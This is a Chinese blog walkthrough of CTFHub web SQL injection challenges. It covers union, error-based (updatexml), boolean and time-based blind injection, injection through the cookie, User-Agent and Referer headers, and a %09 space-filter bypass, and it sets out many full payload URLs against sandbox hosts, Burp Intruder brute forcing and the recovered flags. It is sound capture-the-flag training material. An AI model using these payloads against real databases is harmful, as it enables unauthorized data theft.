CTFHUB-web-SQL注入

news2024/10/6 10:40:46

整数型注入

字符型注入

得到数据库名 sqli

http://challenge-f7a63a00793e62c6.sandbox.ctfhub.com:10800/?id=-1' union select 1,database() '

在这里插入图片描述

爆sqli数据库的数据表

在这里插入图片描述

爆flag表的所有列:

http://challenge-f7a63a00793e62c6.sandbox.ctfhub.com:10800/?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' '

在这里插入图片描述

爆flag表的数据

http://challenge-f7a63a00793e62c6.sandbox.ctfhub.com:10800/?id=-1' union select 1,flag from sqli.flag -- '

在这里插入图片描述

报错型注入

可以参考这个:sql报错注入详细讲解 ,报错注入函数,十种mysql报错注入

发现只要输入了id就会返回成功,不输入直接查询就会报错

在这里插入图片描述

查询数据库名
在这里插入图片描述
和之前一样查询数据库的数据表

http://challenge-c46bea8ea0478f4a.sandbox.ctfhub.com:10800/?id=-1 union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='sqli'),0x7e),1)

在这里插入图片描述

和前面一样爆出flag表的列

http://challenge-c46bea8ea0478f4a.sandbox.ctfhub.com:10800/?id=-1 union select updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e),1)

在这里插入图片描述

查询flag表的数据,这里查询到的flag不全,可以用right函数来显示后半部分

http://challenge-c46bea8ea0478f4a.sandbox.ctfhub.com:10800/?id=-1 union select updatexml(1,concat(0x7e,(select flag from sqli.flag),0x7e),1)

在这里插入图片描述

http://challenge-c46bea8ea0478f4a.sandbox.ctfhub.com:10800/?id=-1 union select updatexml(1,concat(0x7e,right((select flag from sqli.flag),30),0x7e),1)

在这里插入图片描述

布尔盲注

在这里插入图片描述

输入3报错,看来最多是2

在这里插入图片描述

返回成功,看来是数字型注入

在这里插入图片描述

数据库长度为4

在这里插入图片描述

判断数据库的第一个字符是不是s

在这里插入图片描述

第二个字符为 q

在这里插入图片描述

第三个字符为l

在这里插入图片描述

第四个字符为i ,数据库名字为sqli

在这里插入图片描述

判断数据库表的数量,这里返回成功,说明表的数量有两个

http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=2

在这里插入图片描述

判断表名的长度

http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4

第一个表的长度为4

在这里插入图片描述

查询第二个表名的长度

http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=4

长度也是4

在这里插入图片描述

和之前的方法一样,来爆破表的名字,盲猜和之前一样有一个flag表

http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102


第一位为f

在这里插入图片描述

第四位为g

在这里插入图片描述

表一的名字为flag

猜测flag表中字段的数目

http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and (select count(column_name) from information_schema.columns where table_name='flag')=1

只有一个字段

在这里插入图片描述

判断字段长度

http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and length(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),1))=4

长度为4

在这里插入图片描述

猜测字段名字,第四个字符为g,盲猜字段名就是flag

http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),4,1))=103

爆这个字段的值,第一个字符为c

http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and ascii(substr((select flag from sqli.flag limit 0,1),1,1))=99

在这里插入图片描述

查询数据的长度为32

http://challenge-7fe9156246d19ffb.sandbox.ctfhub.com:10800/?id=1 and length(substr((select flag from sqli.flag limit 0,1),1))=32

在这里插入图片描述

使用burp的Intruder(爆破功能),做如下设置

在这里插入图片描述

设置第一个数字,长度设置为32

在这里插入图片描述

第二个数字,设置成33到127,因为flag肯定是可见字符

在这里插入图片描述

然后开始爆破就行,爆破结果如下

在这里插入图片描述

有的时候有些数字爆破不全,多爆几次就行,注意看响应的界面是否正确

在这里插入图片描述

记录下值

99,116,102,104,117,98,123,97,50,51,54,97,54,49,101,51,55,99,101,52,97,99,99,50,50,48,101,49,98,101,49,125

转为字符得到flag:ctfhub{a236a61e37ce4acc220e1be1}

时间盲注

可以参考这个 sql盲注学习笔记

在这里插入图片描述

时间盲注是没有回显的,所以需要使用延时来判断是否正确

在这里插入图片描述

那么步骤就和上面的布尔盲注差不多了,先判断下数据库的长度是否为4,如果为4就延时5秒返回,

http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if(length(database())=4,sleep(5),null))

接着猜数据库的名字,盲猜又是sqli

http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if(ascii(substr(database(),1,1))=115,sleep(3),null))

一样的数据库中还是只有两个表

http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(3),null))

第一个表的长度为4

http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=4,sleep(3),null))

第一个表的名字为flag,(第一个字符为f,第四个字符为g)

http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=102,sleep(3),null))

http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=103,sleep(3),null))

flag表中只有一个字段

http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if((select count(column_name) from information_schema.columns where table_name='flag')=1,sleep(3),null))

老样子,这个字段名字盲猜又是flag,第四个字符为g

http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if(ascii(substr((select column_name from information_schema.columns where table_name='flag' limit 0,1),4,1))=103,sleep(3),null))

数据长度还是为32

http://challenge-81170e85e918306e.sandbox.ctfhub.com:10800/?id=1 and (if(length(substr((select flag from sqli.flag  limit 0,1),1))=32,sleep(3),null))

依旧可以爆破,老样子设置burp

在这里插入图片描述

设置第一个数的长度

在这里插入图片描述

ascii码的范围

在这里插入图片描述

再加个延时超过2秒就报错

在这里插入图片描述

在爆破的结果中增加两列条件

在这里插入图片描述

根据相应时间来排序,相应时间长的就是flag了

在这里插入图片描述

99,116,102,104,117,98,123,52,99,97,
    48,50,52,97,55,49,51,57,98,97,
52,57,55,99,100,102,48,101,98,54,
100,125

最终flag: ctfhub{4ca024a7139ba497cdf0eb6d}

MySQL结构

在这里插入图片描述

数据库名还是sqli

在这里插入图片描述

爆出数据库的表名,终于不是flag了

http://challenge-91f0d44a8bdcc992.sandbox.ctfhub.com:10800/?id=-1 union select 0,group_concat(table_name) from information_schema.tables  where table_schema=database()

在这里插入图片描述

得到数据

http://challenge-91f0d44a8bdcc992.sandbox.ctfhub.com:10800/?id=-1 union select 0,mejemaquuf from sqli.lwvqpuqtht

在这里插入图片描述

flag: ctfhub{f4af7d9b991ccd74df27d774}

Cookie注入

在这里插入图片描述

用burp抓包,这个就只是换了个注入的位置而已

在这里插入图片描述

爆数据库,依旧还是sqli

-1 union select 0,database()

在这里插入图片描述

和前面一样,爆出表名:hrywuvnluw

爆出列名:znwiidcrba

-1 union select 0,group_concat(column_name) from information_schema.columns WHERE TABLE_name='hrywuvnluw'

爆出数据:

-1 union select 0,znwiidcrba from sqli.hrywuvnluw

得到flag : ctfhub{3e2333508e9d938382a7b6c1}

UA注入

在这里插入图片描述

还是burp抓包

在这里插入图片描述

和上面一样操作,爆出表名:cmvutvjgkc

爆出列名:ceyuzrycgs

得到flag

在这里插入图片描述

flag: ctfhub{f20c93958e97a36fa3fc2181}

Refer注入

在这里插入图片描述

加一个Referer

在这里插入图片描述

还是和之前一样的操作

爆出表:hhlppwofdm ,爆出列:cbnjcaulfv

得到flag: ctfhub{41dabb3ec9928fbbbff8b3ee}

过滤空格

不能输入空格

在这里插入图片描述

可以用 %09 来代替空格

http://challenge-0c207a0fd56c1d5f.sandbox.ctfhub.com:10800/?id=-1%09union%09select%090,database()

在这里插入图片描述

绕过代替

在这里插入图片描述

爆表名: dschfjaezj

http://challenge-0c207a0fd56c1d5f.sandbox.ctfhub.com:10800/?id=-1%09union%09select%090,group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()

爆列名:ruohmuurnk

http://challenge-0c207a0fd56c1d5f.sandbox.ctfhub.com:10800/?id=-1%09union%09select%090,group_concat(column_name)%09from%09information_schema.columns%09where%09table_name='dschfjaezj'

爆数据

http://challenge-0c207a0fd56c1d5f.sandbox.ctfhub.com:10800/?id=-1%09union%09select%090,ruohmuurnk%09from%09sqli.dschfjaezj

得到flag:ctfhub{aa36769f58876afc523c3ddc}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/47195.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[Azkaban] No active executors found分析

启动AzkabanWebServer报如下错误: 点击进入 ActiveExecutors.setupExecutors发现调用的是 loadExecutors()继续深入 private ImmutableSet<Executor> loadExecutors() throws ExecutorManagerException {logger.info("Initializing executors from database.&q…

window 下 达梦数据库的备份和还原

DM 提供的各种工具进行备份还原与恢复的操作&#xff0c;包括 DIsql工具、DMRMAN 工具、图形化客户端管理工具 MANAGER 和 CONSOLE。 DIsql 工具用于执 行联机的数据备份与数据还原&#xff0c;包括数、归档备份据库备份、表空间备份与还原、表备份与 还原&#xff1b; DMRMA…

docker-compose安装nacos

文章目录一、安装nacos1.docker-compose.yml2.nacos数据库表结构3.docker-compose 构建运行4.检查nacos日志6.测试访问&#xff1a;TODO:二、nacos为注册中心&#xff1a;项目测试1.新建maven项目&#xff1a;2.配置pom.xml3.配置application.properties4.激活服务发现客户端5.…

117.Django-缓存redis

1. 概述 ​ 动态网站的基本权衡是&#xff0c;它们是动态的。每次用户请求页面时&#xff0c;Web服务器都会进行各种计算 - 从数据库查询到模板呈现再到业务逻辑 - 以创建站点访问者看到的页面。从处理开销的角度来看&#xff0c;这比标准的文件读取文件系统服务器要耗时多了。…

数据库、计算机网络,操作系统刷题笔记4

数据库、计算机网络&#xff0c;操作系统刷题笔记4 2022找工作是学历、能力和运气的超强结合体&#xff0c;遇到寒冬&#xff0c;大厂不招人&#xff0c;可能很多算法学生都得去找开发&#xff0c;测开 测开的话&#xff0c;你就得学数据库&#xff0c;sql&#xff0c;oracle&…

【POJ No. 1195】 矩形区域查询 Mobile phones

【POJ No. 1195】 矩形区域查询 Mobile phones 北大 OJ 题目地址 【题意】 移动电话的基站区域分为多个正方形单元&#xff0c;形成S S 矩阵&#xff0c;行和列的编号为0&#xff5e;S -1&#xff0c;每个单元都包含一个基站。一个单元内活动手机的数量可能发生变化&#xff…

[附源码]Python计算机毕业设计Django大学生考勤管理系统论文

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

区块链存储优化——从MPT树到KV存储

MPT树存储的优缺点 区块链如果采用MPT树存储&#xff0c;大概会有以下优点&#xff1a; 可用全局数据的根哈希做共识&#xff0c;数据篡改会被立即发现&#xff1b;可以查询任意历史区块对应时刻的所有数据&#xff1b;方便从指定区块开始同步数据&#xff0c;因为正如上面所…

Codeforces Round #790 (Div. 4) G. White-Black Balanced Subtrees 感觉很好的树形dp的板子题

翻译&#xff1a; 您得到一个有根的树&#xff0c;其中包含从1到&#x1d45b;编号为&#x1d45b;的顶点。根结点是顶点1。还有一个字符串&#x1d460;表示每个顶点的颜色:如果&#x1d460;&#x1d456;&#x1d671;&#xff0c;那么顶点&#x1d456;是黑色的&#xff0…

MongoDB实战:应用场景以及Spring和mongodb的整合

前言 mongodb是非关系型数据库&#xff0c;他的存储数据可以超过上亿条&#xff08;老版本的mongodb有丢数据的情况&#xff0c;新版本不会有&#xff0c;网上说的&#xff09;&#xff0c;mongodb适合存储 一些量大表关系较简单的数据&#xff0c;例如用户信息&#xff0c;用户…

linux 多台机器修改时间同步

修改东八区 首先第一步&#xff0c;通过命令 &#xff1a;date -R 查看当前系统所在时区。如是0800&#xff0c;则是东八区&#xff0c;也就是我们当下的北京时间&#xff0c;如不是&#xff08;如下图&#xff09;&#xff0c;做如下调整。 命令行键入命令&#xff1a;tzsele…

认识与了解前端Dom

Dom 文档对象模型 Dom是关于创建&#xff0c;修改&#xff0c;插入&#xff0c;删除页面元素的标准 Dom赋予我们操作操作页面的能力 页面的内容都是字符串&#xff0c;js会把这些字符串转换成DOM树&#xff0c;DOM树会把字符串转换成节点&#xff0c;其实我们操作DOM的根本就…

CSS布局的三种方式

绝对定位 绝对定位&#xff1a; ​ 属性&#xff1a;position 值&#xff1a;absolute <style> p.abs{position: absolute;left: 150px;top: 50px; }</style><p >正常文字1</p> <p >正常文字2</p> <p class"abs" >绝对定…

Postman常用断言功能解析

一、Postman断言模块 二、七种常规业务断言 前4种最常用&#xff1a; 1&#xff09;Status code:Code is 200 检查返回的状态码是否为200 2&#xff09;Response body:Contains string 检查响应中包括指定字符串 3&#xff09;Response body:Json value check 检查响应中其中js…

C++ Reference: Standard C++ Library reference: Containers: list: list: cbegin

C官网参考链接&#xff1a;https://cplusplus.com/reference/list/list/cbegin/ 公有成员函数 <list> std::list::cbegin const_iterator cbegin() const noexcept; 返回开始的常量迭代器 返回指向容器第一个元素的const_iterator对象。 const_iterator是指向const内容…

不用ps也能在线设计电商详情页的方法

食品类的商品要如何设计排版详情页呢&#xff1f;怎么样排版食品类商品的详情页才好看&#xff1f;想设计一张好看食品的详情页其实是有方法的&#xff0c;下面跟着小编学习如何使用在线工具乔拓云&#xff0c;在线设计一个食品商品的详情页&#xff0c;还有海量的商品详情页模…

mysql索引类别和失效场景

首先&#xff0c;我们为什么要使用索引&#xff0c;索引有什么作用呢&#xff1f; 索引可以用来快速查询数据表中有某一特定值的记录&#xff0c;大大加快数据的查询速度&#xff1b;在列上创建了索引之后&#xff0c;查找数据时可以直接根据该列上的索引找到对应记录行的位置…

经典文献阅读之--PL-SLAM(点线SLAM)

0. 简介 之前作者基本都在围绕着特征点提取的路径在学习&#xff0c;最近看到了最近点云PCL推送的《Structure PLP-SLAM: Efficient Sparse Mapping and Localization using Point, Line and Plane for Monocular, RGB-D and Stereo Cameras》。这个工作是基于OpenVSLAM架构的…

测评 | 基于AM5708开发板——AM5708 SOC使用uboot更新uboot

本次测评板卡是创龙科技旗下的TL570x-EVM,它是一款基于TI Sitara系列AM5708ARM Cortex-A15+浮点DSPC66x处理器设计的异构多核SOC评估板,由核心板和评估底板组成。核心板经过专业的PCB Layout和高低温测试验证,稳定可靠,可满足各种工业应用环境。 评估板接口资源丰富,引出…

学苑教育杂志学苑教育杂志社学苑教育编辑部2022年第32期目录

前沿 学苑简讯《学苑教育》投稿&#xff1a;cn7kantougao163.com 4-6 专题研究 把握有效生成 焕发课堂魅力——小学语文课堂有效动态生成策略探析 任云青; 7-811 教育管理 新课程理念下高中契约式班级管理研究 孙磊; 9-11 小学班级管理中文明礼仪教育实施策略的…